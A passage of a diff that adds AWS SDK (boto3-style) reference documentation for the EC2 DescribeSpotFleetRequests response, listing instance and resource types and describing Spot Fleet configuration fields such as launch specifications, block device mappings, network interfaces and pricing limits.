+ { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] + }, + ], + 'LaunchTemplateConfigs': [ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0 + }, + ] + }, + ], + 'SpotPrice': 'string', + 'TargetCapacity': 123, + 'OnDemandTargetCapacity': 123, + 'OnDemandMaxTotalPrice': 'string', + 'SpotMaxTotalPrice': 'string', + 'TerminateInstancesWithExpiration': True|False, + 'Type': 'request'|'maintain'|'instant', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'ReplaceUnhealthyInstances': True|False, + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate', + 'LoadBalancersConfig': { + 'ClassicLoadBalancersConfig': { + 'ClassicLoadBalancers': [ + { + 'Name': 'string' + }, + ] + }, + 'TargetGroupsConfig': { + 'TargetGroups': [ + { + 'Arn': 'string' + }, + ] + } + }, + 'InstancePoolsToUseCount': 123, + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] + }, + 'SpotFleetRequestId': 'string', + 'SpotFleetRequestState': 'submitted'|'active'|'cancelled'|'failed'|'cancelled_running'|'cancelled_terminating'|'modifying', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotFleetRequests. + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null when there are no more results to return. + + * **SpotFleetRequestConfigs** _(list) --_ + + Information about the configuration of your Spot Fleet. + + * _(dict) --_ + + Describes a Spot Fleet request. + + * **ActivityStatus** _(string) --_ + + The progress of the Spot Fleet request. If there is an error, the status is error . After all requests are placed, the status is pending_fulfillment . If the size of the fleet is equal to or greater than its target capacity, the status is fulfilled . If the size of the fleet is decreased, the status is pending_termination while Spot Instances are terminating. + + * **CreateTime** _(datetime) --_ + + The creation date and time of the request. + + * **SpotFleetRequestConfig** _(dict) --_ + + The configuration of the Spot Fleet request. + + * **AllocationStrategy** _(string) --_ + + Indicates how to allocate the target Spot Instance capacity across the Spot Instance pools specified by the Spot Fleet request. + + If the allocation strategy is lowestPrice , Spot Fleet launches instances from the Spot Instance pools with the lowest price. This is the default allocation strategy. + + If the allocation strategy is diversified , Spot Fleet launches instances from all the Spot Instance pools that you specify. + + If the allocation strategy is capacityOptimized , Spot Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + + * **OnDemandAllocationStrategy** _(string) --_ + + The order of the launch template overrides to use in fulfilling On-Demand capacity. If you specify lowestPrice , Spot Fleet uses price to determine the order, launching the lowest price first. If you specify prioritized , Spot Fleet uses the priority that you assign to each Spot Fleet launch template override, launching the highest priority first. If you do not specify a value, Spot Fleet defaults to lowestPrice . + + * **SpotMaintenanceStrategies** _(dict) --_ + + The strategies for managing your Spot Instances that are at an elevated risk of being interrupted. + + * **CapacityRebalance** _(dict) --_ + + The strategy to use when Amazon EC2 emits a signal that your Spot Instance is at an elevated risk of being interrupted. + + * **ReplacementStrategy** _(string) --_ + + The replacement strategy to use. Only available for fleets of type maintain . You must specify a value, otherwise you get an error. + + To allow Spot Fleet to launch a replacement Spot Instance when an instance rebalance notification is emitted for a Spot Instance in the fleet, specify launch . + + Note + + When a replacement instance is launched, the instance marked for rebalance is not automatically terminated. You can terminate it, or you can leave it running. You are charged for all instances while they are running. + + * **ClientToken** _(string) --_ + + A unique, case-sensitive identifier that you provide to ensure the idempotency of your listings. This helps to avoid duplicate listings. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **ExcessCapacityTerminationPolicy** _(string) --_ + + Indicates whether running Spot Instances should be terminated if you decrease the target capacity of the Spot Fleet request below the current size of the Spot Fleet. + + * **FulfilledCapacity** _(float) --_ + + The number of units fulfilled by this request compared to the set target capacity. You cannot set this value. + + * **OnDemandFulfilledCapacity** _(float) --_ + + The number of On-Demand units fulfilled by this request compared to the set target On-Demand capacity. + + * **IamFleetRole** _(string) --_ + + The Amazon Resource Name (ARN) of an AWS Identity and Access Management (IAM) role that grants the Spot Fleet the permission to request, launch, terminate, and tag instances on your behalf. For more information, see [Spot Fleet prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-requests.html#spot-fleet-prerequisites) in the _Amazon EC2 User Guide for Linux Instances_ . Spot Fleet can terminate Spot Instances on your behalf when you cancel its Spot Fleet request using [CancelSpotFleetRequests](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CancelSpotFleetRequests) or when the Spot Fleet request expires, if you set TerminateInstancesWithExpiration . + + * **LaunchSpecifications** _(list) --_ + + The launch specifications for the Spot Fleet request. If you specify LaunchSpecifications , you can't specify LaunchTemplateConfigs . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + * _(dict) --_ + + Describes the launch specification for one or more Spot Instances. If you include On-Demand capacity in your fleet request or want to specify an EFA network device, you can't use SpotFleetLaunchSpecification ; you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + * **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **AddressingType** _(string) --_ + + Deprecated. + + * **BlockDeviceMappings** _(list) --_ + + One or more block devices that are mapped to the Spot Instances. You can't specify both a snapshot ID and an encryption value. This is because only blank volumes can be encrypted on creation. If a snapshot is the basis for a volume, it is not blank and its encryption status is used for the volume encryption status. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instances are optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + Enable or disable monitoring for the instances. + + * **Enabled** _(boolean) --_ + + Enables monitoring for the instance. + + Default: false + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + Note + + SpotFleetLaunchSpecification currently does not support Elastic Fabric Adapter (EFA). To specify an EFA, you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **Placement** _(dict) --_ + + The placement information. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + [Spot Fleet only] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, refer to the AWS Resource Center and search for the kernel ID. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. If this value is not specified, the default is the Spot price specified for the fleet. To determine the Spot price per unit hour, divide the Spot price by the value of WeightedCapacity . + + * **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instances. To specify multiple subnets, separate them using commas; for example, "subnet-1234abcdeexample1, subnet-0987cdef6example2". + + * **UserData** _(string) --_ + + The Base64-encoded user data that instances use when starting up. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. These are the same units that you chose to set the target capacity in terms of instances, or a performance characteristic such as vCPUs, memory, or I/O. + + If the target capacity divided by this value is not a whole number, Amazon EC2 rounds the number of instances to the next whole number. If this value is not specified, the default is 1. + + * **TagSpecifications** _(list) --_ + + The tags to apply during creation. + + * _(dict) --_ + + The tags for a Spot Fleet resource. + + * **ResourceType** _(string) --_ + + The type of resource. Currently, the only resource type that is supported is instance . To tag the Spot Fleet request on creation, use the TagSpecifications parameter in ` SpotFleetRequestConfigData [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetRequestConfigData](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetRequestConfigData).html`__ . + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **LaunchTemplateConfigs** _(list) --_ + + The launch template and overrides. If you specify LaunchTemplateConfigs , you can't specify LaunchSpecifications . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **OnDemandAllocationStrategy** is set to prioritized , Spot Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. The default is the On-Demand price. + + * **TargetCapacity** _(integer) --_ + + The number of units to request for the Spot Fleet. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + * **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + * **OnDemandMaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. You can use the onDemandMaxTotalPrice parameter, the spotMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + * **SpotMaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. You can use the spotdMaxTotalPrice parameter, the onDemandMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + * **TerminateInstancesWithExpiration** _(boolean) --_ + + Indicates whether running Spot Instances are terminated when the Spot Fleet request expires. + + * **Type** _(string) --_ + + The type of request. Indicates whether the Spot Fleet only requests the target capacity or also attempts to maintain it. When this value is request , the Spot Fleet only places the required requests. It does not attempt to replenish Spot Instances if capacity is diminished, nor does it submit requests in alternative Spot pools if capacity is not available. When this value is maintain , the Spot Fleet maintains the target capacity. The Spot Fleet places the required requests to meet capacity and automatically replenishes any interrupted instances. Default: maintain . instant is listed but is not used by Spot Fleet. + + * **ValidFrom** _(datetime) --_ + + The start date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). By default, Amazon EC2 starts fulfilling the request immediately. + + * **ValidUntil** _(datetime) --_ + + The end date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). After the end date and time, no new Spot 